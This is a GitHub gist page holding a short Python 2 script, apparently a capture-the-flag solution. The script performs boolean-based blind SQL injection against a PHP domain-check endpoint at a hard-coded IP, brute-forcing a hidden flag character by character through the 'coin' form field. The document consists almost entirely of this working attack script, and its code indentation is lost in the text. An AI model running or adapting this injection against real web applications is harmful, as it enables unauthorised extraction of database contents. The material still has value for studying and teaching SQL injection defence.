Skip to content

Instantly share code, notes, and snippets.

@H4niz
Created June 21, 2018 15:46
Show Gist options
  • Select an option

  • Save H4niz/f4ce4a4197e97c19e313588eb6235973 to your computer and use it in GitHub Desktop.

Select an option

Save H4niz/f4ce4a4197e97c19e313588eb6235973 to your computer and use it in GitHub Desktop.
import requests
url = "http://13.251.43.244/scandomain.php"
data = {"action":"docheck","domainName":"smallbox.ir\\","coin":"or (select length(flag) from flag) = 41 -- -"}
i=0
flag=""
for i in range(len(flag)+1,41):
for c in range(32,127):
data["coin"]="or (select ascii(substring(flag,%d,1)) from bingo) = %d-- -"%(i,c)
res=requests.post(url,data=data).content
if "1" in res:
flag+=chr(c)
print flag
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment